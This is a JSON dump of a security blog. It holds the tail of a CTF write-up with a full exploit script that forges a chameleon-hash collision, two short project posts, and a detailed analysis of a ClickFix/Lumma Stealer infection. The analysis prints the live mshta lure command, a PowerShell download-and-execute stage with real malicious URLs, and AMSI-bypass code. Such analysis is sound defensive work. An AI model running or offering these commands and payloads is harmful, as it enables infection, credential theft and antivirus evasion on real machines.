[P.deserialize(x[1:-1].encode()) for x in ll] def send_cmd(i: int): \u0026#34;\u0026#34;\u0026#34; 1. Work, work 2. Buy gift 3. Refund oldest gift 4. Show my bill 5. Write my bill 6. Run payment \u0026#34;\u0026#34;\u0026#34; io.recvuntil(b\u0026#34;Run payment\\n\u0026gt; \u0026#34;) io.sendline(str(i).encode()) def get_bill(): send_cmd(4) lines = io.recvuntil(b\u0026#34;END\u0026#34;, drop=True).decode().strip().split(\u0026#34;\\n\u0026#34;) bill = [] counter = 0 entry = {} for l in lines: match (counter %4): case 0: hp = l.split(\u0026#34; \u0026#34;)[1] entry[\u0026#34;HP\u0026#34;] = P.deserialize(hp.encode()) case 1: r = l[5:-2].split(\u0026#34;\u0026#39;, \u0026#39;\u0026#34;) R = tuple(P.deserialize(x.encode()) for x in r) entry[\u0026#34;R\u0026#34;] = R case 2: L = l[3:] entry[\u0026#34;L\u0026#34;] = L case 3: M = l[3:] entry[\u0026#34;M\u0026#34;] = M if counter %4 == 3: bill.append(entry) entry = {} counter +=1 return bill def hashy(e): return P.hash(e, ZR) send_cmd(2) bill_old = get_bill() c = bill_old[0][\u0026#34;HP\u0026#34;] target_block_old = bill_old[1] R_old = target_block_old[\u0026#34;R\u0026#34;] HP_prev = target_block_old[\u0026#34;HP\u0026#34;] M_old = target_block_old[\u0026#34;M\u0026#34;] L_1 = target_block_old[\u0026#34;L\u0026#34;] full_M_old = P.serialize(HP_prev).decode() + M_old send_cmd(3) hint_hash_m = io.recvline().decode().strip() hint_hash_mp = io.recvline().decode().strip() bill_new = get_bill() target_block_new = bill_new[1] R_new = target_block_new[\u0026#34;R\u0026#34;] M_new = target_block_new[\u0026#34;M\u0026#34;] full_M_new = P.serialize(HP_prev).decode() + M_new m_hash_old = hashy(full_M_old) m_hash_new = hashy(full_M_new) delta_hash_observed = m_hash_old - m_hash_new delta_m_inv = delta_hash_observed ** -1 rec_t = (R_new[0] - R_old[0]) * delta_m_inv L_hash = hashy(L_1) t1 = (R_new[1] / R_old[1]) ** delta_m_inv t2 = (R_new[2] / R_old[2]) ** (c * L_hash * delta_m_inv) rec_td_ID_1 = t1 * t2 ID = hashy(\u0026#34;ADMIN\u0026#34;) td_ID = (rec_t, rec_td_ID_1) def Col(L, m, r, m_p): L = P.hash(L, ZR) m = P.hash(m, ZR) print(f\u0026#34;{P.serialize(m).decode()}\u0026#34;) m_p = P.hash(m_p, ZR) print(f\u0026#34;{P.serialize(m_p).decode()}\u0026#34;) s, t_p = P.random(ZR), P.random(ZR) td_b_ID = (td_ID[0], td_ID[1] * (pp[4] / (pp[3] ** ID)) ** (L * t_p), (pp[1] / (pp[0] ** ID)) ** t_p) return (r[0] + (m - m_p) * td_b_ID[0], r[1] * (td_b_ID[1] * (pp[4] / (pp[3] ** ID)) ** (s * L)) ** (m - m_p), r[2] * (td_b_ID[2] * (pp[1] / (pp[0] ** ID)) ** s) ** (m_p - m)) target = \u0026#34;Selling|flag|0\u0026#34; l = target_block_new[\u0026#34;L\u0026#34;] m = full_M_new r = R_new m_p = P.serialize(HP_prev).decode() + target forged_r = Col(l,m,r,m_p) forged_r_repr = tuple(P.serialize(x).decode() for x in forged_r) send_cmd(5) io.sendline(b\u0026#34;1\u0026#34;) io.sendline(target.encode()) io.sendline(str(forged_r_repr).encode()) #----WOOOOOOORK for _ in trange(30): send_cmd(1) send_cmd(2) send_cmd(2) send_cmd(2) send_cmd(6) io.interactive() R3CTF{N0w-Y0U_@2E-7H3-GoD-1n-THe_D0M4IN-0f_id3NTl7y-b@5ED_ChaMeleon_H@sh_YOu_c4n_d0_any_7r@d30}\n","date":"2025-07-08T18:02:16+01:00","image":"https://cs.bitraven.pro/p/r3coin-r3ctf-2025/cn2_hu_ff79e9456407f376.jpg","permalink":"https://cs.bitraven.pro/p/r3coin-r3ctf-2025/","title":"R3coin - R3CTF 2025"},{"content":"I don\u0026rsquo;t know what happened but Golang propaganda started catching up to me, and suddenly I wanted to learn it.\nSince Go is best suited for backend application, That\u0026rsquo;s why it was made in the first place, I wanted to create my very own chat application; what could go wrong?\nTurns out A LOT could go sideways, and it did: Goroutines, session store, OAuth, CORS, caching, DB management\u0026hellip;\nIt took a couple of weeks to figure out, but I learend a ton from it and now love Go even more!. Plus it looks sick af and I\u0026rsquo;m proud of it.\nTech Stack React\nNext.Js\nGo\nTailwind\n","date":"2025-03-23T12:49:59+01:00","image":"https://cs.bitraven.pro/p/chatster-go-project/cropped_hu_b9bbcaadcb946500.png","permalink":"https://cs.bitraven.pro/p/chatster-go-project/","title":"Chatster - Go Project"},{"content":"This was my first jab at Web Development. I took a course on coursera the summer prior to dip my toes into HTML, CSS and JS, but I wanted to learn that thing everyone keeps talking about; React\nSince this was my first \u0026ldquo;website\u0026rdquo; ever, it\u0026rsquo;s what the cool kids call fucking dogshit, but it taught me the basics on how to navigate React and typescript and fiddle with nextjs and tailwind.\nTech Stack React\nNext.Js\nUhhhhhh\u0026hellip;\n","date":"2025-03-23T12:49:59+01:00","permalink":"https://cs.bitraven.pro/p/kanban-board-web-dev-project/","title":"Kanban Board - Web Dev Project"},{"content":"As a CTF player, I\u0026rsquo;ve spent my fair share of time solving puzzles, inspecting vulnerabilities, and breaking RSA for the billionth time. I always thought my first malware analysis would come from a CTF challenge or perhaps an ominous-looking file I downloaded on purpose in the name of research. Little did I know, this initiation would come in the most unexpected way: my roommate accidentally infected my own machine.\nAt first, I thought this was going to be just another hackneyed virus: some ransomware or one of the several moronic viruses making rounds lately. But as I got to analysis, I realized this was something far more sophisticated- a piece of malware partially written by AI, buried under layers upon layers of obscure encipherment. It could steal credentials, hijack your crypto wallets, or even give them remote access! Even worse, it was intentionally designed to evade detection and wipe out every last trace of any antivirus software, leading to a nightmare in analysis and containment.\nThis article chronicles my first experience with malware analysis in the wild; how I de-obfuscated, decrypted, and finally analyzed a piece of AI-enhanced malware that turned my own PC into a battleground. If you\u0026rsquo;re dying to know what it feels like to analyze malware for the first time, here\u0026rsquo;s what I learned the hard way.\nThe Initial Infection It all started innocently enough. My roommate was browsing WallpaperFlare (with Brave AdBlock turned off), looking for a new background to spice up my desktop. In the barrage of redirect ad pages on every single click, one ominous page claimed to be a Cloudflare human verification page to \u0026ldquo;view the full resolution wallpaper\u0026rdquo;.\nSeems innocent enough, right? Well, not until it asks you to press Win+R, Ctrl+V, then Enter.\nFor starters, the webpage is running on this URL:\n1 https://snowy-dew-4512.fly.storage.tigris.dev/garden-bloom-alltop.html?X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026amp;X-Amz-Credential=... Revealing that it was hosted on an Amazon S3 bucket via Tigris.dev, with a signed, time-limited link regenerating every six days. Red flag number one. And what it’s asking you to paste in your Run dialogue box is even more sinister:\n1 mshta https://update33.oss-ap-southeast-3.aliyuncs.com/ruketop.mp4 The use of mshta.exe (Microsoft HTML Application Host) to execute a remote script disguised as an MP4 was the final giveaway that what I just stumbled upon is indeed malware. But the real fun started when I checked what this command actually did. But how did this command find itself in your clipboard automagically? Remember that Cloudflare Checkbox from earlier? Well, it has some JavaScript behind it that injects the payload into your clipboard when pressed, bypassing Brave’s clipboard access permission.\nSneaky MP4 The content of that “video” essentially boils down to this command:\n1 \u0026#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#34; -w 1 -ep Unrestricted -nop function XUrEwylZj($iFBqsYQLj){-split($iFBqsYQLj -replace \u0026#39;..\u0026#39;, \u0026#39;0x$\u0026amp; \u0026#39;)};$JLlUw=XUrEwylZj(\u0026#39;DE6...6\u0026#39;);$RzJH=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((XUrEwylZj(\u0026#39;58445875696A4E534D746B4B6D4F636F\u0026#39;)),[byte[]]::new(16)).TransformFinalBlock($JLlUw,0,$JLlUw.Length)); \u0026amp; $RzJH.Substring(0,3) $RzJH.Substring(3) In an attempt to hide its tracks, the functionality of this payload is hidden behind AES encryption. However, the decryption key is hardcoded in plaintext, and all we have to do is decode it using CyberChef to get this:\n1 iexStart-Process \u0026#34;C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#34; -WindowStyle Hidden -ArgumentList \u0026#39;-w\u0026#39;,\u0026#39;hidden\u0026#39;,\u0026#39;-ep\u0026#39;,\u0026#39;bypass\u0026#39;,\u0026#39;-nop\u0026#39;,\u0026#39;-Command\u0026#39;,\u0026#39;Set-Variable 8 (((([Net.WebClient]::New()|GM)|Where-Object{$_.Name-clike\u0026#39;\u0026#39;*nl*g\u0026#39;\u0026#39;}).Name));Set-Item Variable:SQ \u0026#39;\u0026#39;https://ddddd.kliprexep.shop/provider.png\u0026#39;\u0026#39;;Set-Variable t ([Net.WebClient]::New());(Get-Variable t).Value.((GI Variable:8).Value)((Variable SQ).Value)|\u0026amp;$ExecutionContext.InvokeCommand.((($ExecutionContext.InvokeCommand|GM)|Where-Object{$_.Name-clike\u0026#39;\u0026#39;*nd\u0026#39;\u0026#39;}).Name)($ExecutionContext.InvokeCommand.((($ExecutionContext.InvokeCommand|GM)|Where-Object{$_.Name-clike\u0026#39;\u0026#39;G*om*e\u0026#39;\u0026#39;}).Name)(\u0026#39;\u0026#39;I*e-E*\u0026#39;\u0026#39;,$TRUE,$TRUE),[System.Management.Automation.CommandTypes]::Cmdlet)\u0026#39;;$ZORLsa = $env:AppData;function VEIDBHN($NpzOV, $Wckzz){curl $NpzOV -o $Wckzz};function IUsjsWkC(){function PjxsBuxl($nEZI){if(!(Test-Path -Path $Wckzz)){VEIDBHN $nEZI $Wckzz}}}IUsjsWkC; Yet another redirect… It’ll become more apparent that this hunt is a constant game of whack-a-mole, from payload to payload, just so analysts (and curious amateurs — like myself) have a harder time following its tracks. I’m not giving up that easily, though. Following the given URL ‘https://ddddd.kliprexep.shop/provider.png\u0026rsquo; reveals another piece of PowerShell code hidden in ‘provider.png’, which is hosted on an Alibaba Cloud instance. This is the second Cloud provider so far to be involved in this operation, which raises questions about the responsibility these providers bear for ensuring the integrity and ethical use of their services.\nThe Breaking Point So far, the encryption has been pretty easy to unravel. But what the following script demonstrated is beyond anything I’ve seen before. To put it in perspective, here are a few lines of what’s hidden inside provider.png:\n1 2 3 4 $yCeTpHtuWWmOBbTtveDSb = (((-2932 - $hvFeWDKyNAdyZWtFpA) * 7) - (((((((($cXueVwghQBBOdBkDDMI * $GgcnQpjrXPtskMEtEfVV) - -491) * (((-9 - ((((($gWIyKBBmRMkZF - $iTHGZzbTpFkss) + -352) - -66479) + $iTHGZzbTpFkss))) - $yCeTpHtuWWmOBbTtveDSb))) + ((((-8 + $ZoocmUAPHKPwvly) + 954) + 8400))) - $JsMQdILggNdVJpU)) * ((126 + ((((($QMaBzLFPnqlThxHEGocrF * $DQXmXQYRr) - $qyshygEkVqBYepDx) * -638) - 7222))) * ((($LZakiSayQVU + -492) * 67168)))))) if ((8105 -ge 5371) -or ($ZoocmUAPHKPwvly -gt $cXueVwghQBBOdBkDDMI) -or (-131 -gt -5072) -or ($hvFeWDKyNAdyZWtFpA -ne $QMaBzLFPnqlThxHEGocrF)) { $DQXmXQYRr = (((-64 + $GgcnQpjrXPtskMEtEfVV) + 3908) + $qyshygEkVqBYepDx) } This keeps going for 21000 lines of heavily obfuscated Powershell. I almost gave up at this point. Powershell de-obfuscation tools failed to clear it up, and making sense of it is borderline impossible.\nIn a final shot in the dark, I decided to skim through all of its content to find anything that could potentially hint at its operations, and then I found this:\n1 [Byte[]]$aUtQSSCqYrvXfAc = 83,50,53,122,68,84,111,48,76,68,48,119,98,66,99,119,73...; Jackpot! If you think about it, no one can predict the outcome of thousands of variable declarations and random operations — not even this malware’s creators. So it kinda makes sense to hardcode the intended payload somewhere and wrap it with overblown nonsensical operations. This is also the only Bytearray declared in the whole script, which makes me pretty confident that I’m on the right path. Converting it to ASCII reveals a Base64 encoded…thing. It’s encrypted, but how? Luckily, these hackers did most of the hard work for us by declaring the decryption function right below the bytearray! Here’s the de-obfuscated decryption function:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function malicious_func { b64_char_array = New-Object System.Collections.ArrayList; for (iterator_1 = 0; iterator_1 -le b64_int_array.Length-1; iterator_1++) { b64_char_array.Add([char]b64_int_array[iterator_1]) | Out-Null}; b64_string = b64_char_array -join \u0026#34;\u0026#34;; utf8_object = [System.Text.Encoding]::UTF8; xor_key = utf8_object.GetBytes(\u0026#34;$srsIVwKhvnlaG\u0026#34;); # $srsIVwKhvnlaG contains the xor key encoded_str_script = utf8_object.GetString([System.Convert]::FromBase64String(b64_string)); encoded_bytes_script = utf8_object.GetBytes(encoded_str_script); decoded_str_script = $(for (iterator_1 = 0; iterator_1 -lt encoded_bytes_script.length; ) { for (iterator_2 = 0; iterator_2 -lt xor_key.length; iterator_2++) { encoded_bytes_script[iterator_1] -bxor xor_key[iterator_2]; iterator_1++; if (iterator_1 -ge encoded_bytes_script.Length) { iterator_2 = xor_key.length } } }); decoded_str_script = utf8_object.GetString(decoded_str_script); return decoded_str_script } What this does is essentially XOR-decrypting the B64 array with whatever is contained in “$srsIVwKhvnlaG”. Running a modified version of the payload destined to print out some variables used in the declaration of “$srs…” reveals:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $fQAannmsnLQMvPPOBqzIt = Ref $TQgtdPDzRZBEF = Assembly $DogeeNrntxIfh = GetType $ImhEWTMkyGj = System.Management.Automation.AmsiUtils $ikZBcrfaKwzODjOvmsw = GetMethod $efnMFROypb = ScanContent $IqtXuIaExk = Reflection.BindingFlags $AOUmZCEmQSJvgXxwo = NonPublic $PvULhwXjeNigR = Static $MdWKsNKXf = Invoke $TgUvFtEZEA = $ZWkKSNWgaO = Invoke-Mimikatz $fhvXTGGsguJpktLYBKsvb = [Decryption Key] = AMSI_RESULT_NOT_DETECTED Not only does this reveal the XOR-key, which is dynamically generated using reflection to bypass AMSI (Antimalware Scan Interface) protections, but it is also this malware’s first attempt to actually do something. It invokes Mimikatz, A tool designed to extract plaintext passwords, hashes, and other sensitive information from memory. Now things are getting spicy!\nAI Switching Sides Going forward with the decryption reveals the final mole we have to whack; Another PowerShell script. Thankfully, this one wasn’t obfuscated, but it revealed something that honestly shocked me:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 # Define Constants $PAGE_READONLY = 0x02 ... # Helper functions function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) } function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true } if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName(\u0026#34;Win32\u0026#34;) ... # Define structs $TypeBuilder = $ModuleBuilder.DefineType(\u0026#34;Win32.MEMORY_INFO_BASIC\u0026#34;, [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]) [void]$TypeBuilder.DefineField(\u0026#34;BaseAddress\u0026#34;, [IntPtr], [System.Reflection.FieldAttributes]::Public) ... # P/Invoke Methods $TypeBuilder = $ModuleBuilder.DefineType(\u0026#34;Win32.Kernel32\u0026#34;, \u0026#34;Public, Class\u0026#34;) ... # Define [Win32.Kernel32]::VirtualProtect $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(\u0026#34;VirtualProtect\u0026#34;, \u0026#34;kernel32.dll\u0026#34;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) ... $a = \u0026#34;Ams\u0026#34; $b = \u0026#34;iSc\u0026#34; $c = \u0026#34;anBuf\u0026#34; $d = \u0026#34;fer\u0026#34; $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d) $hProcess = [Win32.Kernel32]::GetCurrentProcess() # Get system information $sysInfo = New-Object Win32.SYSTEM_INFO [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo) # List of memory regions to scan $memoryRegions = @() $address = [IntPtr]::Zero # Scan through memory regions while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) { $memInfo = New-Object Win32.MEMORY_INFO_BASIC if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) { $memoryRegions += $memInfo } # Move to the next memory region $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64()) } $count = 0 # Loop through memory regions foreach ($region in $memoryRegions) { # Check if the region is readable and writable if (-not (IsReadable $region.Protect $region.State)) { continue } # Check if the region contains a mapped file ... I didn’t add those comments; you can decode it yourself and verify. That code is, in fact, AI Generated! In order to ease my suspicions, I used some online AI code detectors, which signaled a high likelihood of being AI generated (AI Code Decoder GPT, for instance, gave it a %75 chance of being AI generated!).\nThe script first searches for the AmsiScanBuffer function in memory and overwrites its bytes with zeroes, effectively disabling AMSI, effectively allowing the malware to execute without being detected by antivirus software.\nWhat truly frightens me, however, is that this complex, low-level, and blatantly malicious piece of code was produced by an AI model with no questions asked. Threat actors are historically one step ahead of white-hat defensive forces. And with the current rate of advancements in artificial intelligence and rising threats of cybercrime, if these threat actors could leverage its capabilities so easily and effectively to forge even more sophisticated exploits going forward, we’ll be looking at a much darker landscape when it comes to security and cyber threats going forward.\nThe Sauce Decoding the byte array didn’t only give us that wonderful gift from the AI gods; That was no more than clearing the way for the actual malware that wreaked havoc on my poor PC. Going further below, we’ll find a piece of Base64 encoded .NET assembly code. Wrapping it back to an executable reveals the star of the show: Riddsheyzz.exe. Looking this one up revealed nothing online (the Any.run results you’ll find were run by me and weren’t previously available).\nStatic Analysis In an attempt to unveil its inner workings, I proceeded to disassemble it with Binary Ninja. Aside from some plaintext symbols, most of the bread-and-butter functions appear to be packed (meaning that they don’t reveal their underlying functions in disassembly) and obfuscated under some random names:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... System.Core FirstOrDefault IEnumerable`1 System.Collections.Generic GetTypeFromHandle RuntimeTypeHandle CreateDelegate Delegate Invoke SendProfile AnalyzeScalableProfile _SymbolicProxy m_TransformableProxy IncludeProfile InterceptSortedProxy MethodBase GetParameters ParameterInfo get_ReturnType op_Equality MemberInfo get_Name AnalyzeVisualProfile MonitorAccessibleProfile m_8175b0abecbf4cf8b2033c0673faa5d0 m_f618de55b4c646efad1ff15c17b98e04 m_616dbdf0b65e4842bcf599edb16f190f m_060589a3efde4b57ad4dd305598ae71c m_79fa787b8cf94cc293f9b7a6f3dc819f m_d04ee20d7d384f1ca858d25983d7423f m_dfd6db8e0450465cb01fe67108a2c4e8 m_8073c124b6784dd7bf35fcc316d273b9 m_4da70eca30714de2afe8489f99825644 m_eca40d22fa5547a7b9e9bab4bace0477 m_ba72f663ceca4ec0a459e537cb786ad3 ... Some other symbols that I’ve found import cryptographic functions and libraries such as System.Security.Cryptography, SymmetricAlgorithm, set_Key (implying further AES encryptions) aswell as HTTP libraries for network communications (HttpClient, System.Net.Http…).\nA suspicious PDF file also seems to be downloaded when the malware is executed. This one is also hosted on a legitimate file hosting service, Mediafire.\n1 https://www.mediafire.com/file_premium/ishws3ttw6w5w07/wqnow.pdf/f I downloaded it manually, but it seems to be encrypted code— most likely using the AES function imported above.\nAs for the obfuscated functions, however, it would be a challenging task to unveil their underlying code. Since they are unpacked when loaded into memory, it would be possible to run the malware in a sandbox, dump the memory, and then analyze it with something like Volatility3. I tried, but with my limited experience using Volatility, I’ve decided that it would be less of a headache to dynamically analyze what it’s doing rather than reverse engineer the binary itself — there is a reason why I play crypto and not forensics in CTF challenges!\nAnyRun It Before setting up my mini malware lab, I threw it onto Any.Run for a quick summary of what it’s doing. At first, it seemed to perform some suspicious DNS queries, but nothing too dangerous. This is a dead giveaway that it’s detecting the sandbox environment and refusing to run — pretty smart, but not too smart. With the help of one of my friends, we managed to “convince it” to reveal its true actions. Lo and behold, this thing exploits everything under the sun!\nWhere do I start? It’s a Lumma Stealer (Steals all passwords saved by your browser), a Remote Access Trojan (running with Arechclient2 and AutoIT), a Crypto Wallet Stealer, a Backdoor, Automatic Startup, Sleeper… you name it. It also uninstalls your antivirus, disables your browser (presumably to stop you from changing your passwords), corrupts any past restore points to make recovery even harder, and makes your machine a part of a botnet. Add in a crypto miner and this thing will be a whole buffet!\nHere’s the full analysis given by Any.Run if you’re curious. Despite it being quite informative, I still wanted to conduct my own dynamic analysis in a windows VM.\nNetwork Analysis I proceeded to set up a sandbox VM with Wireshark and MitmProxy to analyze network traffic and decrypt TLS packets.\nIt proceeded to query for numerous Botnet C\u0026amp;C (Command and Control) Domains. Most of them seem to have redirected to newer IPs as of writing this which makes them harder to track down.\nAnalyzing the pcap file in Wireshark reveals, after a series of attempted SSL Certificate forgery, the primary CnC server; one hosted on the IP 185.147.124.181. Tracing it back leads us to a datacenter in Moscow, Russia, belonging to a company called Almira LLC. At first glance, they appear to be a legitimate business, but some recent reports I\u0026rsquo;ve found suggest otherwise.\nFurther examination of the network activity reveals another suspicious IP address: 185.195.97.57. A total of 14 MB of data has been exchanged between it and my machine, suggesting more than a mere server handshake. This one also belongs to an offshore data center, this time in Madrid, Spain, and belongs to a company called GrupoDW. This connection is reinforced by the fact that the link to a \u0026ldquo;grupodw\u0026rdquo; admin dashboard login page was present in one of the packets sent by the malware, which further raises my suspicions.\nI wanted to go further and \u0026ldquo;CTF\u0026rdquo; my way into their servers, but as they appear to be potentially legitimate and exploited businesses, even if most of the evidence says otherwise, I don\u0026rsquo;t find it ethical to illegally breach into their backend just to conduct a vigilante investigation. The best I can do is contact them to ask for a comment.\nDynamic Analysis After analyzing the network activity and concluding that \u0026ldquo;Yes, it\u0026rsquo;s sending stuff to Russia\u0026rdquo;, what is it sending exactly? To get some deeper insight into what it\u0026rsquo;s doing behind the scenes, I set up Sysmon to constantly log its activities, as well as ProcMon to get better real-time readings on what it\u0026rsquo;s doing.\nFirst of all, it proceeds to read all my System Certificates to steal private keys, as well as inject Custom Root Certificates to intercept and decrypt all HTTP traffic going through that machine (which is pretty much like sharing your screen with them).\nAfter that\u0026rsquo;s done, playtime begins! The malware proceeds to read the User Data stored in every browser imaginable (bye-bye passwords!). Even though these passwords are encrypted, they\u0026rsquo;re encrypted with Windows\u0026rsquo;s DPAPI, which uses a key tied to the user\u0026rsquo;s Windows session - all good right? Well, guess who also has access to your user session…yeah.\nNow that all my accounts are compromised, what else could be of value? Crypto Wallets! While valuable, they don\u0026rsquo;t have a set location. So what\u0026rsquo;s the best thing to do? Bruteforce through the entire user directory for anything that contains the words kbdx, trezor, seed, pass, ledger, metamask, bitcoin, words, and wallet.\nWith crypto in our pocket, what else could the malware do? That\u0026rsquo;s right! Session keys! We\u0026rsquo;re talking AWS, FTP, GCloud, Azure, and…Telegram, Discord, and Steam? Anyway, even Email Clients could be of value, so it takes anything it could find regarding The Bat!, Outlook, WMS, and PMail as well as access keys for Remote Desktop Software such as UltraVNC.\nThen, it proceeds to route them to homellygage.biz through Cloudflare (who should do a better job at monitoring their servers) which points back to that Russian data center from earlier.\nAgain, you\u0026rsquo;ll find all the findings throughout this investigation, including this very procmon log file in the GitHub repo.\nOther than rummaging through my disk and looting whatever it could find, this malware also drops two executables with random names in the Temp directory. I theorize that they have been dropped from that PDF file downloaded earlier from Mediafire, but I haven\u0026rsquo;t fully confirmed that.\nThese, in turn, proceed to drop another executable titled Maui.exe which invokes a known Arechclient2, called jsc.exe.\nThe Bigger Picture: How this Malware Works Drive-by Execution: A phishing site that tricks the user into executing a clipboard-injected mshta command, bypassing browser security.\nObfuscated PowerShell Execution: Downloading multiple encrypted payloads and decoding them in runtime.\nDisabling the Antivirus: Erasing any trace of the Antimalware Scan Interface in the memory- thanks ChatGPT!\nStealing Data: Passwords, certificates, wallets… you get the gist.\nRAT Deployment: Connection to an attacker-controlled server through a reverse shell on the victim\u0026rsquo;s machine.\nThe Role of Legitimate Services in Malware Operations One of the most troubling aspects of this campaign was its abuse of legitimate services like Cloudflare, AWS, Alibaba Cloud, and Mediafire. These platforms, designed to provide scalability and reliability, were weaponized to host malicious content and mask its footsteps.\nFor instance, the malware\u0026rsquo;s use of AWS S3 buckets and Alibaba Cloud\u0026rsquo;s OSS (Object Storage Service) highlights how cloud platforms can inadvertently facilitate cybercrime. While the sheer scale of their operations could understandably make detection of malicious activity pretty tough, stricter enforcement and collaboration with cybersecurity researchers are essential to address this issue.\nMediafire\u0026rsquo;s hosting service was also utilized in bad faith to distribute malicious payloads, which underscores the need for more robust security measures.\nAnd when it comes to Cloudflare, even though they\u0026rsquo;ve been impersonated in the phishing operation, they are partially responsible for providing a reverse proxy to the attacker\u0026rsquo;s server and routing traffic anonymously. This begs the question about the responsibility of service providers to balance user privacy with security. While Cloudflare has abuse reporting mechanisms, more proactive measures - such as automated scanning for malicious content - could help curb abuse.\nLet\u0026rsquo;s not forget about Wallpaper Flare, a top-ranking website when you search for the all-common term \u0026ldquo;wallpaper\u0026rdquo; in any search engine, which acted as the stepping stone for this malware to sneak its way into people\u0026rsquo;s clipboards. AD revenue is undoubtedly a necessity for any free service to stay afloat, but when it comes to willingly delivering actual phishing pages, that\u0026rsquo;s where the line needs to be drawn.\nIn essence, while these services are not inherently malicious, their widespread availability and ease of use make them attractive to attackers. In return, they should take greater responsibility by implementing stricter abuse detection and prevention mechanisms, educating users about the risks of hosting unverified content, or simply not delivering blatant malware on their damn website!\nThe Growing Role of AI in Malware Development Perhaps the most striking revelation from this investigation was the use of AI-generated code in the malware. The structure of the obfuscated Powershell snippet which disables AMSI - a critical part of this malware\u0026rsquo;s antivirus evasion mechanism - is highly indicative of AI involvement. This pans out to be a game-changer in the cybersecurity realm. The use of AI to supercharge and develop malware lowers the barrier to entry for cybercriminals, enabling even less skilled attackers to create sophisticated malware. It also accelerates the development cycle, allowing attackers to deploy new variants at an unprecedented pace. Most concerningly, AI-generated code can evade signature-based detection systems, rendering traditional antivirus solutions less effective. While guard rails are being progressively set up to safeguard AI from malicious use cases, the weaponization of AI in this campaign underscores the urgent need for stricter regulations on AI tools and platforms.\nConclusion: Learn your Lesson! Before blaming cloud providers and hosting services, it should be noted that, when falling victim to a malware attack, %90 of the blame falls on YOU! Yes, I am liable in this case for not locking my computer when AFK, but this extends to general education regarding cybersecurity and good security practices. So what could you learn from my experience?\nEnable AdBlockers: Many phishing sites, like this one, get signaled off by most adblockers - I just happen to have mine off at the time of this attack. Also, who likes ads anyway?\nDisable automatic password saving in your browser. Restrict execution of scripting engines like PowerShell and mshta where possible.\nGet in sync with the evolving landscape of cybersecurity.\nAvoid ANYTHING Shady: This includes shady links, QR codes, actions (like Win+R in this case), and programs. If anything makes you think twice, step back from it - and you should always think twice!\nI can\u0026rsquo;t stress this one enough: Use Linux! It\u0026rsquo;s better… IT\u0026rsquo;S JUST BETTER! I was only logged on to windows in this instance to use Adobe products, but %99 of the time, you should be on Linux (unless you want to play League of Legends, then…why?).\nIn the end, curiosity didn\u0026rsquo;t kill the cat, but it did expose an elaborate malware scheme lurking in an unexpected corner of the web. Stay safe, Stay vigilant!\n","date":"2025-02-06T18:49:59+01:00","image":"https://cs.bitraven.pro/p/from-chatbots-to-cyberattacks-how-ai-is-helping-hackers-stay-one-step-ahead/bg_hu_784db57153cf967a.png","permalink":"https://cs.bitraven.pro/p/from-chatbots-to-cyberattacks-how-ai-is-helping-hackers-stay-one-step-ahead/","title":"From Chatbots to Cyberattacks: How AI is Helping Hackers Stay One Step Ahead"}]